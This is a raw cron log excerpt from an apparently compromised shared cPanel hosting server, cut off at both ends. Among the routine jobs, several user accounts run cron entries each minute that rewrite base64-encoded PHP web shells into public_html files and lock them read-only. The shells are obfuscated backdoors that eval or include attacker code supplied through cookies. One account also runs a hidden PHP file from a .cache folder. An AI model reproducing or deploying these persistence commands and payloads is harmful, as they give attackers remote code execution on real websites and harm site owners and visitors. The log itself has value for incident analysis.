"$fp"; fi; chmod 444 "$fp")
Mar  2 12:52:02 medusa CROND[13815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:52:02 medusa CROND[13819]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:53:01 medusa CROND[31889]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:53:01 medusa CROND[31890]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:53:01 medusa CROND[31891]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:53:01 medusa CROND[31892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:53:01 medusa CROND[31893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:53:01 medusa CROND[31895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:53:01 medusa CROND[31898]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:53:01 medusa CROND[31900]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:53:01 medusa CROND[31901]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:53:01 medusa CROND[31899]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:53:01 medusa CROND[31902]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:53:01 medusa CROND[31909]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:54:01 medusa CROND[17266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:54:01 medusa CROND[17312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:54:02 medusa CROND[17520]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:54:02 medusa CROND[17523]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:54:02 medusa CROND[17524]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:54:02 medusa CROND[17525]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:54:02 medusa CROND[17526]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:54:02 medusa CROND[17528]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:54:02 medusa CROND[17529]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:54:02 medusa CROND[17532]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:54:02 medusa CROND[17542]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:54:02 medusa CROND[17543]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:54:02 medusa CROND[17544]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:55:01 medusa CROND[3233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:55:01 medusa CROND[3271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:55:01 medusa CROND[3518]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:55:01 medusa CROND[3519]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:55:01 medusa CROND[3520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:55:01 medusa CROND[3521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:55:01 medusa CROND[3522]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:55:01 medusa CROND[3523]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:55:01 medusa CROND[3525]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:55:01 medusa CROND[3526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:55:01 medusa CROND[3551]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96e